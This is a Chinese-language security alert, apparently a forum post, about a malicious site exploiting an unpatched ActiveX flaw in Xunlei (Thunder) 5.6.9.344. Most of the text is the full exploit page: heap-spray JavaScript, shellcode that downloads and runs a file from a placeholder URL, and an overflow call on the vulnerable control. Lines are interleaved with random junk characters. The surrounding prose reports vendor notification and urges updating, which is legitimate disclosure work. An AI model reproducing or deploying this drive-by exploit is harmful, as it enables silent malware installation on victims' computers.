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根据恶意网址检测的线报,发现一恶意网址使用未公开的迅雷50-Day漏洞进行挂马,其EXP代码如下: ) o5 f7 Q9 q+ F) D& {: |2 k
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<html>2 E. d3 ?- S7 i4 l) r: M/ o
<head># t b6 U, B/ C' ^/ _2 h) I: t( l
<meta http-equiv="Content-Type" c >
0 Q% t4 |; A S9 ?# }# j$ O<title></title>
; j% Y: h+ _7 }) r</head><body> N0 |, O- ~+ M; ]* W# h% o
<html>$ l Y4 E+ e4 g. W$ f
<object classid="clsid:EEDD6FF9-13DE-496B-9A1C-D78B3215E266" id='target'></object>
1 x- A, x; b( X; a' S( ~<script language="javascript">
; F0 c4 S2 @; P' I8 O# u" avar she132132132132llc13ode = unescape("%u9090"+"%u9090"+
+ d+ V% ?+ s' ~+ A/ M J( E3 @"%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c" +
# Q# H& u) _4 d( Q4 ]"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
% B, w# p$ d6 I! V" M"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
- x7 b, r4 q6 ~5 y) x"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
: h; ?9 M' S ["%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +0 t* z `% \6 ^' Q) }2 u& r
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
- d5 R, ~& ]" B% \- A"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +7 q5 q/ b3 r. b3 l! C
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
) x1 j6 i! g8 H% e6 h( `) z"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
& a. p) B9 j# l' G"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +( Y* D7 x, y" L5 I$ S/ N) v
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +6 W* J/ P9 `% ^
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
% d0 _$ u& G( J: k7 j O"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +5 c. Y4 I0 H. k7 J, V
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +0 H7 c" H! {2 J: p
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
( x' A' x' e8 [+ C( W# I1 V% ["%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +2 U9 W8 [5 V. A
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +1 x! S: X/ J" H; b6 X" j
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +* D* N; y# o4 Q0 S M
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
8 q' k' U8 i4 j" A5 k"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
1 C: }- u; a3 q& g"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
3 k; t, n9 F! R& C: a" ]6 i"%u6946%u656c%u0041%u7468%u7074此处为需要下载病毒的网址%u0000");
0 c5 e$ f8 M9 n& Y* w; B( h</script>3 i& D1 P# q. S2 X, v( t& P! B( }) s
<script language="javascript"> , J7 F! o& d5 w" Y4 {/ M. a
var IsNop1236326312 = '';9 ?4 ^8 R2 ?; }, ?1 v
var bi3123g123665blo2131ck = unescape("%u9090%u9090");
* q2 T8 S8 O% qvar IsNop1236326312 = '';
! ?4 Z2 s o* wvar he132132aders123132ize = 20;' X. p) |) J) @' m9 a2 d
var IsNop1236326312 = '';) @2 w% [( g. h1 H
var sl21123112ack312231312space = he132132aders123132ize+she132132132132llc13ode.length;8 V' f" @, t8 u# H1 ]
var IsNop1236326312 = '';
2 o o; S" D" s5 n+ d# Q" zwhile (bi3123g123665blo2131ck.length<sl21123112ack312231312space) bi3123g123665blo2131ck+=bi3123g123665blo2131ck;
# d# {# q6 W. D6 k- u/ b+ Bfillblock = bi3123g123665blo2131ck.substring(0, sl21123112ack312231312space);
2 P: W+ q2 J+ h. cblock = bi3123g123665blo2131ck.substring(0, bi3123g123665blo2131ck.length-sl21123112ack312231312space);5 K7 r$ h( A, x, a1 D5 V( y+ D. s+ }
while(block.length+sl21123112ack312231312space<0x40000) block = block+block+fillblock;
3 ^5 d5 t) B. W( v9 h# K& n8 _memory = new Array();7 c% Q. b3 a3 j7 {/ ^ X* Z; M& C3 ~
for (x=0; x<300; x++) memory[x] = block + she132132132132llc13ode;) K& V$ g# O7 ?+ c
var b1u1231ff312er = '';
7 I/ d3 g* ?6 o5 _) mvar IsNop1236326312 = '';' v+ O4 l. K: i3 i% T- |( ]8 [
var IsNop1236326312 = '';
" z1 F _/ o5 y+ S: t& c* ~while (b1u1231ff312er.length < 4057) b1u1231ff312er+="\x0a\x0a\x0a\x0a";
+ b# u( [! @4 t$ f% d! ?b1u1231ff312er+="\x0a";
0 c1 b( j# K( w+ N% C; B, Ob1u1231ff312er+="\x0a";& N( J2 M% T+ y6 c1 V) m& u* g
b1u1231ff312er+="\x0a";
: _8 W' E1 B3 qb1u1231ff312er+="\x0a\x0a\x0a\x0a";& q p7 b! y' {( r. _& X
b1u1231ff312er+="\x0a\x0a\x0a\x0a";
+ |8 K$ h& e6 Uvar yes="1111";
; m& f6 o6 x5 X: s; o0 itarget.DownURL2(b1u1231ff312er,yes,yes,yes);
/ ^* u' D& ?, F$ N( a! Svar IsNop1236326312 = '';
/ O' ^8 X3 t. @7 C! r+ o</script>' x9 g& p4 W5 a/ T
</body></html>该代码风格颇相前段时间的《暴风影音IIActiveX栈溢出漏洞》,尾部为%u7468%u7074+此处为需要下载病毒的网址+%u0000"),但其CLSID为:EEDD6FF9-13DE-496B-9A1C-D78B3215E266
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/ h3 `6 l; ^ H: Y# C; h( r- ~经验证,该ActiveX控件文件为:C:\Program Files\Thunder Network\Thunder\Components\DownAndPlay\DownAndPlay\DapPlayer1.0.0.41.dll
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' O7 K9 S6 B$ A我已经将该信息提交给迅雷官方,相信迅雷官方会尽快更新软件, 字串5 * z8 D8 c& t( F3 n
5 m. h0 {; J7 ]7 |" p. F1 U在此,网络巡警提醒大家,使用迅雷软件请尽量使用最新版本的,最新版本下载地址为: 3 z3 o- n: ^1 a5 z
d- G' H5 k k) ?/ e( ]6 Jhttp://pstatic.xunlei.com/about/product/down_xl5.htm
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我会进一步关注此漏洞。 3 t: E6 ~- p- X1 g4 h- J
* M- Q E) o5 W# W1 x% ? v最近情况:
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从一些信息来看,含有此漏洞的迅雷版本号为Xunlei Web Thunder 5.6.9.344
) n) i3 N/ l( V0 O2 C新版的迅雷5.7.2.371 应该无此漏洞,请大家更新~
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: ~" E6 T% V# T1 O; W/ {- ]另外,该漏洞是一个叫做 7jdg 的人挖掘发现的(高手啊)。 |
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